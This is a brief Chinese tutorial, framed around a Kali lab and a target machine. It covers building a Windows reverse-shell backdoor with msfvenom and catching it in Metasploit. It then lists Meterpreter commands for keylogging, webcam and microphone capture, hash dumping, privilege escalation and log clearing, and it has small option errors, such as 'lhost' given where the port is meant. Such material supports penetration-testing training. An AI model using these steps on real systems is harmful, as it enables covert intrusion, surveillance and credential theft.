利用msfvenom生产windows后门

原理：

利用msfvenom制作shy .exe 文件，然后发送到靶机上面，运行后就可以在kali linux 上面利用msfconsole连接msfvenom服务控制靶机

1，根据靶机操作系统，搜索适合的生产后门文件的脚本

msfvenom -l payloads | grep windows | grep x64 | grep tcp

2，选择生产脚本，生产后门文件

-p 选择一个payload

-f 生成的文件格式

lhost 攻击机的IP

lhost 攻击机的任意一个端口

3，将生成的后门文件上传到靶机当中

4，启动msfconsole

5，加载exploit/multi/handler模块，设置payload

6，查看payload所需要的参数，可以看出需要设置接收的IP地址和端口

7，设置IP和端口

8，直接exploit,开启攻击，等待运行后门文件

9，在靶机上运行该后门文件

10，发现kali上获得反弹shell

11，常用命令

getwd当前目录

getuid当前用户

dir查看所有文件

cat111.txt 查看文件111.txt内容

search-f cmd.exe （搜索名为123.exe文件所在目录）

upload/root/桌面/backldoor.exe（要上传的文件） -> c:\（上传到的目录） 上传文件

downloadc:\123txt /root 下载文件

clearev清除日志

sysinfo系统信息

keyscan_start开始键盘记录

keyscan_stop停止键盘记录

keyscan_dump查看结果

屏幕截图 screenshot

屏幕监控 run vnc

uictl disable keyboard/mouse 禁用键盘/鼠标 
uictl enable keyboard/mouse 启用键盘/鼠标制权
record_mic 音频录制
record_mic -d 10 后台录音10秒
webcam_chat 查看摄像头接口
webcam_list 查看摄像头列表
webcam_stream 摄像头视频获取
GetSystem 获取高权限
Hashdump 下载hash